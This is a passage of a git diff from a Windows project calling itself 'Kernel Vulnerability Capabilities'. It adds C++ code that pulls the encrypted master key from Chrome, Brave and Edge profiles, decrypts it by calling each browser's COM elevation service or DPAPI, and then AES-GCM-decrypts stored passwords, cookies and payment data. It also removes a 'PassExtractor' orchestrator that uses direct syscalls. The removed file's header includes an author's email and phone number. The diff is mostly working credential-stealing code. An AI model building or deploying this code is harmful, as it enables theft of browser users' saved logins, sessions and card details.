diff --git a/images/kvc_00.jpg b/images/kvc_00.jpg new file mode 100644 index 0000000..b0e931e Binary files /dev/null and b/images/kvc_00.jpg differ diff --git a/kvc.sln b/kvc.sln index 10fee70..1bee18c 100644 --- a/kvc.sln +++ b/kvc.sln @@ -9,6 +9,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc_crypt", "kvc\kvc_crypt. EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc_pass", "kvc\kvc_pass.vcxproj", "{12345678-1234-1234-1234-123456789ABC}" EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "KvcXor", "kvc\KvcXor.vcxproj", "{A905154D-F1EC-4821-9717-9F6D35F69F3F}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Release|x64 = Release|x64 @@ -20,6 +22,8 @@ Global {87654321-4321-4321-4321-123456789DEF}.Release|x64.Build.0 = Release|x64 {12345678-1234-1234-1234-123456789ABC}.Release|x64.ActiveCfg = Release|x64 {12345678-1234-1234-1234-123456789ABC}.Release|x64.Build.0 = Release|x64 + {A905154D-F1EC-4821-9717-9F6D35F69F3F}.Release|x64.ActiveCfg = Release|x64 + {A905154D-F1EC-4821-9717-9F6D35F69F3F}.Release|x64.Build.0 = Release|x64 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/kvc/BrowserCrypto.cpp b/kvc/BrowserCrypto.cpp new file mode 100644 index 0000000..5878c8b --- /dev/null +++ b/kvc/BrowserCrypto.cpp @@ -0,0 +1,397 @@ +// BrowserCrypto.cpp - Browser-specific cryptographic operations +// Implements selective COM/DPAPI strategy based on browser and data type +#include "BrowserCrypto.h" +#include "CommunicationModule.h" +#include +#include +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "bcrypt.lib") +#pragma comment(lib, "Crypt32.lib") +#pragma comment(lib, "ole32.lib") +#pragma comment(lib, "shell32.lib") + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +namespace SecurityComponents +{ + namespace Browser + { + // Browser-specific configuration database + // Contains COM CLSIDs, IIDs, and file paths for each supported browser + const std::unordered_map& GetConfigs() + { + static const std::unordered_map browser_configs = { + {"chrome", {"Chrome", L"chrome.exe", + {0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}}, + {0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}}, + fs::path("Google") / "Chrome" / "User Data"}}, + {"brave", {"Brave", L"brave.exe", + {0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}}, + {0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}}, + fs::path("BraveSoftware") / "Brave-Browser" / "User Data"}}, + {"edge", {"Edge", L"msedge.exe", + {0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}}, + {0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}}, + fs::path("Microsoft") / "Edge" / "User Data"}} + }; + return browser_configs; + } + + // Determines browser configuration based on current process executable name + Config GetConfigForCurrentProcess() + { + char exePath[MAX_PATH] = {0}; + GetModuleFileNameA(NULL, exePath, MAX_PATH); + std::string processName = fs::path(exePath).filename().string(); + std::transform(processName.begin(), processName.end(), processName.begin(), ::tolower); + + const auto& configs = GetConfigs(); + if (processName == "chrome.exe") return configs.at("chrome"); + if (processName == "brave.exe") return configs.at("brave"); + if (processName == "msedge.exe") return configs.at("edge"); + + throw std::runtime_error("Unsupported host process: " + processName); + } + } + + namespace Crypto + { + // Encryption scheme identifier prefixes + const uint8_t CHROME_KEY_PREFIX[] = {'A', 'P', 'P', 'B'}; + const uint8_t EDGE_KEY_PREFIX[] = {'D', 'P', 'A', 'P', 'I'}; + const std::string V10_PREFIX = "v10"; + const std::string V20_PREFIX = "v20"; + + // RAII wrapper for BCrypt algorithm handle + class BCryptAlgorithm + { + public: + BCryptAlgorithm() { + BCryptOpenAlgorithmProvider(&handle, BCRYPT_AES_ALGORITHM, nullptr, 0); + } + ~BCryptAlgorithm() { + if (handle) BCryptCloseAlgorithmProvider(handle, 0); + } + operator BCRYPT_ALG_HANDLE() const { return handle; } + bool IsValid() const { return handle != nullptr; } + + private: + BCRYPT_ALG_HANDLE handle = nullptr; + }; + + // RAII wrapper for BCrypt key handle + class BCryptKey + { + public: + BCryptKey(BCRYPT_ALG_HANDLE alg, const std::vector& key) + { + BCryptGenerateSymmetricKey(alg, &handle, nullptr, 0, + const_cast(key.data()), + static_cast(key.size()), 0); + } + ~BCryptKey() { + if (handle) BCryptDestroyKey(handle); + } + operator BCRYPT_KEY_HANDLE() const { return handle; } + bool IsValid() const { return handle != nullptr; } + + private: + BCRYPT_KEY_HANDLE handle = nullptr; + }; + + // Decrypts AES-GCM encrypted data using provided key + // Supports both v10 and v20 encryption schemes + std::vector DecryptGcm(const std::vector& key, const std::vector& blob) + { + std::string detectedPrefix; + size_t prefixLength = 0; + + // Detect encryption scheme version + if (blob.size() >= 3) + { + if (memcmp(blob.data(), V10_PREFIX.c_str(), V10_PREFIX.length()) == 0) + { + detectedPrefix = V10_PREFIX; + prefixLength = V10_PREFIX.length(); + } + else if (memcmp(blob.data(), V20_PREFIX.c_str(), V20_PREFIX.length()) == 0) + { + detectedPrefix = V20_PREFIX; + prefixLength = V20_PREFIX.length(); + } + else + { + return {}; + } + } + else + { + return {}; + } + + // Validate blob size + const size_t GCM_OVERHEAD_LENGTH = prefixLength + GCM_IV_LENGTH + GCM_TAG_LENGTH; + if (blob.size() < GCM_OVERHEAD_LENGTH) + return {}; + + // Initialize AES-GCM decryption + BCryptAlgorithm algorithm; + if (!algorithm.IsValid()) + return {}; + + BCryptSetProperty(algorithm, BCRYPT_CHAINING_MODE, + reinterpret_cast(const_cast(BCRYPT_CHAIN_MODE_GCM)), + sizeof(BCRYPT_CHAIN_MODE_GCM), 0); + + BCryptKey cryptoKey(algorithm, key); + if (!cryptoKey.IsValid()) + return {}; + + // Extract IV, ciphertext, and authentication tag + const uint8_t* iv = blob.data() + prefixLength; + const uint8_t* ct = iv + GCM_IV_LENGTH; + const uint8_t* tag = blob.data() + (blob.size() - GCM_TAG_LENGTH); + ULONG ct_len = static_cast(blob.size() - prefixLength - GCM_IV_LENGTH - GCM_TAG_LENGTH); + + // Configure authenticated cipher mode + BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo; + BCRYPT_INIT_AUTH_MODE_INFO(authInfo); + authInfo.pbNonce = const_cast(iv); + authInfo.cbNonce = GCM_IV_LENGTH; + authInfo.pbTag = const_cast(tag); + authInfo.cbTag = GCM_TAG_LENGTH; + + // Perform decryption + std::vector plain(ct_len > 0 ? ct_len : 1); + ULONG outLen = 0; + + NTSTATUS status = BCryptDecrypt(cryptoKey, const_cast(ct), ct_len, &authInfo, + nullptr, 0, plain.data(), static_cast(plain.size()), + &outLen, 0); + if (!NT_SUCCESS(status)) + return {}; + + plain.resize(outLen); + return plain; + } + + // Extracts encrypted master key from browser's Local State file + // Handles both APPB (COM) and DPAPI blob formats + std::vector GetEncryptedMasterKey(const fs::path& localStatePath) + { + std::ifstream f(localStatePath, std::ios::binary); + if (!f) + throw std::runtime_error("Could not open Local State file."); + + std::string content((std::istreambuf_iterator(f)), std::istreambuf_iterator()); + + // Search for encrypted key in JSON + std::string tag = "\"app_bound_encrypted_key\":\""; + size_t pos = content.find(tag); + + if (pos == std::string::npos) { + tag = "\"encrypted_key\":\""; + pos = content.find(tag); + if (pos == std::string::npos) + throw std::runtime_error("Encrypted key not found in Local State."); + } + + pos += tag.length(); + size_t end_pos = content.find('"', pos); + if (end_pos == std::string::npos) + throw std::runtime_error("Malformed encrypted key format."); + + auto optDecoded = Utils::Base64Decode(content.substr(pos, end_pos - pos)); + if (!optDecoded) + throw std::runtime_error("Base64 decoding of encrypted key failed."); + + auto& decodedData = *optDecoded; + + // Check for APPB prefix (COM-encrypted key) + if (decodedData.size() >= sizeof(CHROME_KEY_PREFIX) && + memcmp(decodedData.data(), CHROME_KEY_PREFIX, sizeof(CHROME_KEY_PREFIX)) == 0) + { + return {decodedData.begin() + sizeof(CHROME_KEY_PREFIX), decodedData.end()}; + } + // Check for DPAPI blob header (0x01000000) + else if (decodedData.size() >= 4 && + decodedData[0] == 0x01 && decodedData[1] == 0x00 && + decodedData[2] == 0x00 && decodedData[3] == 0x00) + { + return decodedData; + } + else + { + throw std::runtime_error("Unknown key format - not APPB or DPAPI blob."); + } + } + } + + BrowserManager::BrowserManager() : m_config(Browser::GetConfigForCurrentProcess()) {} + + fs::path BrowserManager::getUserDataRoot() const + { + return Utils::GetLocalAppDataPath() / m_config.userDataSubPath; + } + + MasterKeyDecryptor::MasterKeyDecryptor(PipeLogger& logger) : m_logger(logger) {} + + MasterKeyDecryptor::~MasterKeyDecryptor() + { + if (m_comInitialized) + { + CoUninitialize(); + } + } + + // Decrypts master key using browser's COM elevation service + std::vector MasterKeyDecryptor::DecryptWithCOM(const Browser::Config& config, + const std::vector& encryptedKeyBlob) + { + BSTR bstrEncKey = SysAllocStringByteLen(reinterpret_cast(encryptedKeyBlob.data()), + static_cast(encryptedKeyBlob.size())); + if (!bstrEncKey) + throw std::runtime_error("Failed to allocate BSTR for encrypted key."); + + BSTR bstrPlainKey = nullptr; + HRESULT hr = E_FAIL; + DWORD comErr = 0; + + // Edge uses different COM interface than Chrome/Brave + if (config.name == "Edge") + { + Microsoft::WRL::ComPtr elevator; + hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator); + if (SUCCEEDED(hr)) + { + CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, + COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, + RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING); + hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr); + } + } + else + { + Microsoft::WRL::ComPtr elevator; + hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator); + if (SUCCEEDED(hr)) + { + CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, + COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, + RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING); + hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr); + } + } + + SysFreeString(bstrEncKey); + + // Validate decryption result + if (FAILED(hr) || !bstrPlainKey || SysStringByteLen(bstrPlainKey) != Crypto::KEY_SIZE) + { + if (bstrPlainKey) SysFreeString(bstrPlainKey); + std::ostringstream oss; + oss << "COM elevation decryption failed for " << config.name << ". HRESULT: 0x" + << std::hex << hr; + throw std::runtime_error(oss.str()); + } + + std::vector aesKey(Crypto::KEY_SIZE); + memcpy(aesKey.data(), bstrPlainKey, Crypto::KEY_SIZE); + SysFreeString(bstrPlainKey); + + return aesKey; + } + + // Decrypts master key using Windows DPAPI + // Used for Edge passwords when orchestrator provides pre-decrypted key + std::vector MasterKeyDecryptor::DecryptWithDPAPI(const fs::path& localStatePath) + { + auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath); + + DATA_BLOB inputBlob = { + static_cast(encryptedKeyBlob.size()), + encryptedKeyBlob.data() + }; + DATA_BLOB outputBlob = {}; + + BOOL result = CryptUnprotectData(&inputBlob, nullptr, nullptr, nullptr, nullptr, + CRYPTPROTECT_UI_FORBIDDEN, &outputBlob); + + if (!result) + { + DWORD error = GetLastError(); + std::ostringstream oss; + oss << "DPAPI decryption failed. Error: 0x" << std::hex << error; + m_logger.Log("[-] " + oss.str()); + throw std::runtime_error(oss.str()); + } + + std::vector aesKey(outputBlob.pbData, outputBlob.pbData + outputBlob.cbData); + LocalFree(outputBlob.pbData); + + if (aesKey.size() != Crypto::KEY_SIZE) + { + std::string errMsg = "Decrypted key size mismatch: " + std::to_string(aesKey.size()) + + ", expected: " + std::to_string(Crypto::KEY_SIZE); + m_logger.Log("[-] " + errMsg); + throw std::runtime_error(errMsg); + } + + return aesKey; + } + + // Main decryption entry point - selects strategy based on browser and data type + std::vector MasterKeyDecryptor::Decrypt(const Browser::Config& config, + const fs::path& localStatePath, + DataType dataType) + { + m_logger.Log("[*] Reading Local State file: " + StringUtils::path_to_string(localStatePath)); + + // Edge passwords use DPAPI without process requirement + if (config.name == "Edge" && dataType == DataType::Passwords) + { + m_logger.Log("[*] Using DPAPI decryption for Edge passwords (no process required)"); + auto aesKey = DecryptWithDPAPI(localStatePath); + m_logger.Log("[+] Edge DPAPI decryption successful for passwords"); + return aesKey; + } + else + { + // All other scenarios use COM elevation + std::string dataTypeStr = "data"; + switch (dataType) { + case DataType::Cookies: dataTypeStr = "cookies"; break; + case DataType::Payments: dataTypeStr = "payments"; break; + case DataType::Passwords: dataTypeStr = "passwords"; break; + default: dataTypeStr = "data"; break; + } + + m_logger.Log("[*] Using COM elevation for " + config.name + " " + dataTypeStr); + + if (!m_comInitialized) + { + if (FAILED(CoInitializeEx(NULL, COINIT_APARTMENTTHREADED))) + { + throw std::runtime_error("Failed to initialize COM library."); + } + m_comInitialized = true; + m_logger.Log("[+] COM library initialized (APARTMENTTHREADED)."); + } + + auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath); + m_logger.Log("[*] Attempting to decrypt master key via " + config.name + "'s COM server..."); + + auto aesKey = DecryptWithCOM(config, encryptedKeyBlob); + m_logger.Log("[+] " + config.name + " COM elevation decryption successful for " + dataTypeStr); + return aesKey; + } + } +} \ No newline at end of file diff --git a/kvc/BrowserCrypto.h b/kvc/BrowserCrypto.h new file mode 100644 index 0000000..080b583 --- /dev/null +++ b/kvc/BrowserCrypto.h @@ -0,0 +1,123 @@ +// BrowserCrypto.h - Cryptographic operations and browser-specific configurations +// Implements selective decryption strategy for different data types and browsers + +#ifndef BROWSER_CRYPTO_H +#define BROWSER_CRYPTO_H + +#include +#include +#include +#include +#include + +namespace fs = std::filesystem; + +namespace SecurityComponents +{ + class PipeLogger; + + // Data type enumeration for selective decryption strategy + enum class DataType { + Passwords, // Use DPAPI for Edge passwords (no process required) + Cookies, // Use COM elevation for browser cookies + Payments, // Use COM elevation for payment information + All // Default behavior - use appropriate method per browser + }; + + // Browser-specific configuration and COM interface definitions + namespace Browser + { + struct Config + { + std::string name; + std::wstring processName; + CLSID clsid; + IID iid; + fs::path userDataSubPath; + }; + + const std::unordered_map& GetConfigs(); + Config GetConfigForCurrentProcess(); + } + + // Cryptographic operations for AES-GCM decryption and key management + namespace Crypto + { + constexpr size_t KEY_SIZE = 32; + constexpr size_t GCM_IV_LENGTH = 12; + constexpr size_t GCM_TAG_LENGTH = 16; + + std::vector DecryptGcm(const std::vector& key, const std::vector& blob); + std::vector GetEncryptedMasterKey(const fs::path& localStatePath); + } + + class BrowserManager + { + public: + BrowserManager(); + const Browser::Config& getConfig() const noexcept { return m_config; } + fs::path getUserDataRoot() const; + + private: + Browser::Config m_config; + }; + + // Master key decryptor with selective strategy per data type + class MasterKeyDecryptor + { + public: + explicit MasterKeyDecryptor(PipeLogger& logger); + ~MasterKeyDecryptor(); + + // Main decryption interface - intelligently chooses COM or DPAPI + std::vector Decrypt(const Browser::Config& config, const fs::path& localStatePath, DataType dataType = DataType::All); + + private: + PipeLogger& m_logger; + bool m_comInitialized = false; + + std::vector DecryptWithCOM(const Browser::Config& config, const std::vector& encryptedKeyBlob); + std::vector DecryptWithDPAPI(const fs::path& localStatePath); + }; +} + +// COM interface definitions +enum class ProtectionLevel +{ + None = 0, + PathValidationOld = 1, + PathValidation = 2, + Max = 3 +}; + +MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C") +IOriginalBaseElevator : public IUnknown +{ +public: + virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0; + virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0; + virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0; +}; + +MIDL_INTERFACE("E12B779C-CDB8-4F19-95A0-9CA19B31A8F6") +IEdgeElevatorBase_Placeholder : public IUnknown +{ +public: + virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod1_Unknown(void) = 0; + virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod2_Unknown(void) = 0; + virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod3_Unknown(void) = 0; +}; + +MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C") +IEdgeIntermediateElevator : public IEdgeElevatorBase_Placeholder +{ +public: + virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0; + virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0; + virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0; +}; + +MIDL_INTERFACE("C9C2B807-7731-4F34-81B7-44FF7779522B") +IEdgeElevatorFinal : public IEdgeIntermediateElevator {}; + +#endif // BROWSER_CRYPTO_H \ No newline at end of file diff --git a/kvc/BrowserOrchestrator.cpp b/kvc/BrowserOrchestrator.cpp deleted file mode 100644 index 357e2ac..0000000 --- a/kvc/BrowserOrchestrator.cpp +++ /dev/null @@ -1,1266 +0,0 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - -// BrowserOrchestrator.cpp -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "syscalls.h" - -#pragma comment(lib, "Rpcrt4.lib") - -#ifndef IMAGE_FILE_MACHINE_AMD64 -#define IMAGE_FILE_MACHINE_AMD64 0x8664 -#endif - -#ifndef NT_SUCCESS -#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) -#endif - -namespace -{ - constexpr DWORD MODULE_COMPLETION_TIMEOUT_MS = 60000; - constexpr const char* APP_VERSION = "1.0.1"; - constexpr const char* SECURITY_MODULE_NAME = "kvc_crypt.dll"; - - namespace fs = std::filesystem; -} - -// Global security module path -std::string g_securityModulePath; - -namespace -{ - // RAII wrapper for Windows handles with syscall cleanup - struct HandleDeleter - { - void operator()(HANDLE h) const noexcept - { - if (h && h != INVALID_HANDLE_VALUE) - NtClose_syscall(h); - } - }; - using UniqueHandle = std::unique_ptr; - - namespace Utils - { - // C++23 Type-safe string conversion utilities - std::string u8string_to_string(const std::u8string& u8str) noexcept - { - return {reinterpret_cast(u8str.c_str()), u8str.size()}; - } - - std::string path_to_api_string(const fs::path& path) - { - return u8string_to_string(path.u8string()); - } - - // Convert wide string to UTF-8 for API compatibility - std::string WStringToUtf8(std::wstring_view w_sv) - { - if (w_sv.empty()) return {}; - - int size_needed = WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast(w_sv.length()), - nullptr, 0, nullptr, nullptr); - std::string utf8_str(size_needed, '\0'); - WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast(w_sv.length()), - &utf8_str[0], size_needed, nullptr, nullptr); - return utf8_str; - } - - // Format pointer as hex string for debugging - std::string PtrToHexStr(const void* ptr) noexcept - { - std::ostringstream oss; - oss << "0x" << std::hex << reinterpret_cast(ptr); - return oss.str(); - } - - // Format NTSTATUS as hex string - std::string NtStatusToString(NTSTATUS status) noexcept - { - std::ostringstream oss; - oss << "0x" << std::hex << status; - return oss.str(); - } - - // Generate unique named pipe identifier - std::wstring GenerateUniquePipeName() - { - UUID uuid; - UuidCreate(&uuid); - wchar_t* uuidStrRaw = nullptr; - UuidToStringW(&uuid, (RPC_WSTR*)&uuidStrRaw); - std::wstring pipeName = L"\\\\.\\pipe\\" + std::wstring(uuidStrRaw); - RpcStringFreeW((RPC_WSTR*)&uuidStrRaw); - return pipeName; - } - - // Capitalize first letter of string - std::string Capitalize(const std::string& str) - { - if (str.empty()) return str; - std::string result = str; - result[0] = static_cast(std::toupper(static_cast(result[0]))); - return result; - } - } -} - -// Console output manager with colored text support -class Console -{ -public: - explicit Console(bool verbose) : m_verbose(verbose), m_hConsole(GetStdHandle(STD_OUTPUT_HANDLE)) - { - CONSOLE_SCREEN_BUFFER_INFO consoleInfo; - GetConsoleScreenBufferInfo(m_hConsole, &consoleInfo); - m_originalAttributes = consoleInfo.wAttributes; - } - - void displayBanner() const - { - SetColor(FOREGROUND_RED | FOREGROUND_INTENSITY); - std::cout << "PassExtractor x64 | " << APP_VERSION << " by WESMAR\n\n"; - ResetColor(); - } - - void printUsage() const - { - SetColor(FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); - std::wcout << L"Usage:\n" - << L" kvc_pass.exe [options] \n\n" - << L"Options:\n" - << L" --output-path|-o Directory for output files (default: .\\output\\)\n" - << L" --verbose|-v Enable verbose debug output from the orchestrator\n" - << L" --help|-h Show this help message\n\n" - << L"Browser targets:\n" - << L" chrome - Extract from Google Chrome\n" - << L" brave - Extract from Brave Browser\n" - << L" edge - Extract from Microsoft Edge\n" - << L" all - Extract from all installed browsers\n\n" - << L"Required files:\n" - << L" " << SECURITY_MODULE_NAME << L" - Security module (same directory)\n" - << L" winsqlite3.dll - SQLite library (system32) or sqlite3.dll fallback\n"; - ResetColor(); - } - - void Info(const std::string& msg) const { print("[*]", msg, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY); } - void Success(const std::string& msg) const { print("[+]", msg, FOREGROUND_GREEN | FOREGROUND_INTENSITY); } - void Error(const std::string& msg) const { print("[-]", msg, FOREGROUND_RED | FOREGROUND_INTENSITY); } - void Warn(const std::string& msg) const { print("[!]", msg, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); } - - void Debug(const std::string& msg) const - { - if (m_verbose) - print("[#]", msg, FOREGROUND_RED | FOREGROUND_GREEN); - } - - // Relay messages from security module with colored tags - void Relay(const std::string& message) const - { - size_t tagStart = message.find('['); - size_t tagEnd = message.find(']', tagStart); - - if (tagStart != std::string::npos && tagEnd != std::string::npos) - { - std::cout << message.substr(0, tagStart); - std::string tag = message.substr(tagStart, tagEnd - tagStart + 1); - - WORD color = m_originalAttributes; - if (tag == "[+]") color = FOREGROUND_GREEN | FOREGROUND_INTENSITY; - else if (tag == "[-]") color = FOREGROUND_RED | FOREGROUND_INTENSITY; - else if (tag == "[*]") color = FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY; - else if (tag == "[!]") color = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY; - - SetColor(color); - std::cout << tag; - ResetColor(); - std::cout << message.substr(tagEnd + 1) << std::endl; - } - else - { - std::cout << message << std::endl; - } - } - - bool m_verbose; - -private: - void print(const std::string& tag, const std::string& msg, WORD color) const - { - SetColor(color); - std::cout << tag; - ResetColor(); - std::cout << " " << msg << std::endl; - } - - void SetColor(WORD attributes) const noexcept { SetConsoleTextAttribute(m_hConsole, attributes); } - void ResetColor() const noexcept { SetConsoleTextAttribute(m_hConsole, m_originalAttributes); } - - HANDLE m_hConsole; - WORD m_originalAttributes; -}; - -// Registry-based browser installation path resolver -class BrowserPathResolver -{ -public: - explicit BrowserPathResolver(const Console& console) : m_console(console) {} - - // Resolve browser executable path from Windows Registry - std::wstring resolve(const std::wstring& browserExeName) - { - m_console.Debug("Searching Registry for: " + Utils::WStringToUtf8(browserExeName)); - - const std::wstring registryPaths[] = { - L"\\Registry\\Machine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + browserExeName, - L"\\Registry\\Machine\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + browserExeName - }; - - for (const auto& regPath : registryPaths) - { - std::wstring path = queryRegistryDefaultValue(regPath); - if (!path.empty() && fs::exists(path)) - { - m_console.Debug("Found at: " + Utils::WStringToUtf8(path)); - return path; - } - } - - m_console.Debug("Not found in Registry"); - return L""; - } - - // Enumerate all supported browsers installed on the system - std::vector> findAllInstalledBrowsers() - { - std::vector> installedBrowsers; - - const std::pair supportedBrowsers[] = { - {L"chrome", L"chrome.exe"}, - {L"edge", L"msedge.exe"}, - {L"brave", L"brave.exe"} - }; - - m_console.Debug("Enumerating installed browsers..."); - - for (const auto& [browserType, exeName] : supportedBrowsers) - { - std::wstring path = resolve(exeName); - if (!path.empty()) - { - installedBrowsers.push_back({browserType, path}); - m_console.Debug("Found " + Utils::Capitalize(Utils::WStringToUtf8(browserType)) + - " at: " + Utils::WStringToUtf8(path)); - } - } - - if (installedBrowsers.empty()) - m_console.Warn("No supported browsers found installed on this system"); - else - m_console.Debug("Found " + std::to_string(installedBrowsers.size()) + " browser(s) to process"); - - return installedBrowsers; - } - -private: - // Query registry key default value using direct syscalls - std::wstring queryRegistryDefaultValue(const std::wstring& keyPath) - { - std::vector pathBuffer(keyPath.begin(), keyPath.end()); - pathBuffer.push_back(L'\0'); - - UNICODE_STRING_SYSCALLS keyName; - keyName.Buffer = pathBuffer.data(); - keyName.Length = static_cast(keyPath.length() * sizeof(wchar_t)); - keyName.MaximumLength = static_cast(pathBuffer.size() * sizeof(wchar_t)); - - OBJECT_ATTRIBUTES objAttr; - InitializeObjectAttributes(&objAttr, &keyName, OBJ_CASE_INSENSITIVE, nullptr, nullptr); - - HANDLE hKey = nullptr; - NTSTATUS status = NtOpenKey_syscall(&hKey, KEY_READ, &objAttr); - - if (!NT_SUCCESS(status)) - { - if (status != (NTSTATUS)0xC0000034) // STATUS_OBJECT_NAME_NOT_FOUND - m_console.Debug("Registry access failed: " + Utils::NtStatusToString(status)); - return L""; - } - - UniqueHandle keyGuard(hKey); - - UNICODE_STRING_SYSCALLS valueName = {0, 0, nullptr}; - ULONG bufferSize = 4096; - std::vector buffer(bufferSize); - ULONG resultLength = 0; - - status = NtQueryValueKey_syscall(hKey, &valueName, KeyValuePartialInformation, - buffer.data(), bufferSize, &resultLength); - - // Handle buffer size insufficient - if (status == STATUS_BUFFER_TOO_SMALL || status == STATUS_BUFFER_OVERFLOW) - { - buffer.resize(resultLength); - bufferSize = resultLength; - status = NtQueryValueKey_syscall(hKey, &valueName, KeyValuePartialInformation, - buffer.data(), bufferSize, &resultLength); - } - - if (!NT_SUCCESS(status)) - return L""; - - auto kvpi = reinterpret_cast(buffer.data()); - - // Validate registry value type and size - if (kvpi->Type != REG_SZ && kvpi->Type != REG_EXPAND_SZ) - return L""; - if (kvpi->DataLength < sizeof(wchar_t) * 2) - return L""; - - size_t charCount = kvpi->DataLength / sizeof(wchar_t); - std::wstring path(reinterpret_cast(kvpi->Data), charCount); - - // Remove null terminators - while (!path.empty() && path.back() == L'\0') - path.pop_back(); - - if (path.empty()) - return L""; - - // Expand environment variables if needed - if (kvpi->Type == REG_EXPAND_SZ) - { - std::vector expanded(MAX_PATH * 2); - DWORD size = ExpandEnvironmentStringsW(path.c_str(), expanded.data(), - static_cast(expanded.size())); - if (size > 0 && size <= expanded.size()) - path = std::wstring(expanded.data()); - } - - return path; - } - - const Console& m_console; -}; - -// Application configuration management -struct Configuration -{ - bool verbose = false; - fs::path outputPath; - std::wstring browserType; - std::wstring browserProcessName; - std::wstring browserDefaultExePath; - std::string browserDisplayName; - - // Parse command line arguments and create configuration - static std::optional CreateFromArgs(int argc, wchar_t* argv[], const Console& console) - { - Configuration config; - fs::path customOutputPath; - - // Parse command line arguments - for (int i = 1; i < argc; ++i) - { - std::wstring_view arg = argv[i]; - if (arg == L"--verbose" || arg == L"-v") - config.verbose = true; - else if ((arg == L"--output-path" || arg == L"-o") && i + 1 < argc) - customOutputPath = argv[++i]; - else if (arg == L"--help" || arg == L"-h") - { - console.printUsage(); - return std::nullopt; - } - else if (config.browserType.empty() && !arg.empty() && arg[0] != L'-') - config.browserType = arg; - else - { - console.Warn("Unknown or misplaced argument: " + Utils::WStringToUtf8(arg)); - return std::nullopt; - } - } - - if (config.browserType.empty()) - { - console.printUsage(); - return std::nullopt; - } - - // Normalize browser type to lowercase - std::transform(config.browserType.begin(), config.browserType.end(), - config.browserType.begin(), ::towlower); - 